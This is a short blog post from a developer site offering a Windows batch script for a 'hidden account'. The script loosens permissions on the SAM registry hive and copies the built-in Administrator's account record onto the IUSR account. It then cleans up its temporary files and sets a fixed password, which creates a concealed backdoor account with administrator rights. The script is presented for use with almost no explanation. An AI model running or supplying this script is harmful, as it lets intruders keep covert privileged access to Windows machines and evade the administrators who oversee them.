Develop Paper
  • Program
  • Server
  • Development Tool
  • Blockchain
  • Database
  • Artificial Intelligence
Position: Home > Blogs > OS > Windows > Content

Complete batch processing of windows copy hidden account

Time:2020-11-26
Copy codeThe code is as follows:
echo off
setlocal enabledelayedexpansion
echo %computername%
echo HKEY_LOCAL_MACHINE\SAM\SAM [1 17] >”%windir%\..\1.reg”
regini “%windir%\..\1.reg”
regedit /e “%windir%\..\1.reg” HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\IUSR_%computername%
rem unicode ->ascii
type “%windir%\..\1.reg” >”%windir%\..\2.reg”
del /q “%windir%\..\1.reg”
rem find IUSR_ %Corresponding ID of computername%
for /F “delims=( tokens=1-5* skip=3” %%a in (%windir%\..\2.reg) do set iusr_id=%%b
del /q “%windir%\..\2.reg”
rem export administrator register
regedit /e “%windir%\..\1.reg” HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
type “%windir%\..\1.reg” >”%windir%\..\2.reg”
del /q “%windir%\..\1.reg”
rem replace 1fx->iusr_id
for /f “tokens=* delims=:” %%i in (%windir%\..\2.reg) do (
for /f “tokens=*” %%j in (“%%i”) do (
set TMP=%%j
set “TMP=!TMP:000001F4=00000%iusr_id:~0,3%!”
echo !TMP!>>%windir%\..\1.reg
)
)
regedit /s %windir%\..\1.reg
del /q %windir%\..\1.reg
del /q %windir%\..\2.reg
echo HKEY_LOCAL_MACHINE\SAM\SAM [17] >”%windir%\..\1.reg”
regini “%windir%\..\1.reg”
del /q “%windir%\..\1.reg”
net user IUSR_%computername% 12345678

Clone out of the user name is fixed, change the code if you want to change

Tags: Batch processing, Hide account

Recommended Today

The course of using Chinese software of poedit Pro

Poedit pro (formerly known as poedit) is a free (professional version charge), open source and cross platform gettext class (. Po format, gettext is used in the application program for program internationalization) International Translation editor. It is also one of the most widely used software of the same type. At present, it is available in […]

  • Windows System — change the sound effect of the system to Jarvis the iron man
  • kpf4 gui.exe What is the process and what is it
  • How to change the global font in win10
  • A batch that lists each line of text in reverse order
  • Windows System — change the system mouse pointer to cute finger
  • lao.exe What is the process? What is the use of Lao process query
  • Reverse order display input content batch processing
  • How to open AHCI driver in win10 system without reloading
  • A method of [lossless] resetting windows local user’s password under forgetting win password but still having pin fingerprint faceid image password
  • launch.exe What does the process have to query with the launch process
Pre: Introduction to some initial settings after installation of arch Linux
Next: Things about throttle in IOS programming learning

    Tags

    address algorithm android array assembly attribute Browser c Catalog Character string Client code command configuration file css data Database data base Edition element Example file function golang html html5 ios java javascript linux method mysql node node.js object page parameter php Plug-in unit project python Route source code The server user

    Recent Posts

    • The course of using Chinese software of poedit Pro
    • Shocked! There are people who don’t understand binary trees! 99% of programmers can do it. Just click in!
    • Sharing of line in wasm of server, realizing AI as a service webassembly weekly report 0923 with rust and wasm
    • What is rustc
    • Do you really understand sync.Once Is that right

    Recent Comments

    • saber on Answer for The CSS style in the third-party module downloaded by angular4 has no effect
    • Big year on Answer for The CSS style in the third-party module downloaded by angular4 has no effect
    • Big year on Answer for The CSS style in the third-party module downloaded by angular4 has no effect
    • saber on Answer for The CSS style in the third-party module downloaded by angular4 has no effect
    • saber on Answer for The CSS style in the third-party module downloaded by angular4 has no effect

    Categories

    • .NET Core
    • Agile Development
    • Android
    • Apple MAC
    • Architecture Design
    • Artificial Intelligence
    • ASP.NET
    • Blockchain
    • C
    • C#
    • C++
    • Database
    • Development Tool
    • Embedded
    • Erlang
    • Freshman
    • Golang
    • HTML/CSS
    • HTML5
    • Information Security
    • IOS
    • Java
    • JavaScript
    • JSP
    • Linux
    • MongoDB
    • MsSql
    • MySql
    • OOP
    • oracle
    • Other DB
    • Other Technology
    • Perl
    • PHP
    • Program
    • Python
    • Redis
    • Regular Expression
    • Ruby
    • Rust
    • SAP
    • Server
    • VBS
    • VUE
    • WEB Front End
    • Windows
    • XML/XSLT
  • java
  • php
  • python
  • linux
  • windows
  • android
  • ios
  • mysql
  • html
  • .net
  • github
  • node.js

Copyright © 2020 Develop Paper All Rights Reserved   

  Sitemap    About DevelopPaper    Privacy Policy    Contact Us